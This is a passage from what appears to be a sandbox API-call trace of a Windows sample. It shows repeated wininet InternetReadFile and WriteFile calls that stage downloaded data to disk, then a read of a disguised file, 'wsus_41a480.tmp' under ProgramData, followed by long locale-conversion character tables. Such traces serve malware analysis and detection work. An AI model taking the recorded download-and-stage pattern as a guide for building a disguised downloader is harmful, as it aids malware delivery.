dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.464] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.464] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.464] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.464] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.464] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.464] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.492] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.492] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.493] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.493] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.493] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.493] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.493] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.494] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.494] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.494] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.494] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.494] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.495] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.495] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.495] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.495] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.495] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.495] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.496] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.496] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.496] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.496] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.496] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.496] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.496] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.497] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.497] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.497] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.497] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.497] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.497] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.497] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.498] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.498] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.498] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.498] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.499] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.499] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.499] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.499] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.499] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.500] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.500] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.500] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.500] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.501] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.501] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.501] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.501] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.503] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0082.659] CreateFileA (lpFileName="C:\\ProgramData\\Settings\\wsus_41a480.tmp" (normalized: "c:\\programdata\\settings\\wsus_41a480.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0082.661] GetFileSize (in: hFile=0x180, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa1a00 [0082.662] ReadFile (in: hFile=0x180, lpBuffer=0x2c10020, nNumberOfBytesToRead=0xa1a00, lpNumberOfBytesRead=0x18ff2c, lpOverlapped=0x0 | out: lpBuffer=0x2c10020*, lpNumberOfBytesRead=0x18ff2c*=0xa1a00, lpOverlapped=0x0) returned 1 [0082.672] CloseHandle (hObject=0x180) returned 1 [0082.679] StrStrA (lpFirst="CA\x1dûp×f\x0eBdJó'Sø\x96F¬\x8f7ÿ\x89…Ï+¼\"ò=Écu\x19²\x9f\x91¬Wt\x18­À\x87É:ø¤\x93\x07<#\x9eè\x11æxyýÀp[.\x8aÕ¨zýw\x0e\x01Ò½#:ö¼:O9¬^\x99Æ tÛ?þ.\x90R,sh\x0f\x1asg)tà\x87\x7f²Fk©ìB?\x13¯\x17\x93Ï{#\x1e\x86,ÍK?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0085.969] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x2df2a8 | out: lpCharType=0x2df2a8) returned 1 [0085.969] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2df8a8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0085.969] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2df8a8, cbMultiByte=256, lpWideCharStr=0x2defe8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0085.969] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0085.969] GetLastError () returned 0x57 [0085.970] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0085.970] GetProcAddress (hModule=0x75440000, lpProcName="LCMapStringEx") returned 0x754d47f1 [0085.970] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0085.971] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x2dedd8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0085.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x2df7a8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ](Å.äù-", lpUsedDefaultChar=0x0) returned 256 [0085.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2df8a8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0085.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2df8a8, cbMultiByte=256, lpWideCharStr=0x2deff8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0085.971] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0085.971] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x2dede8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0085.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x2df6a8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 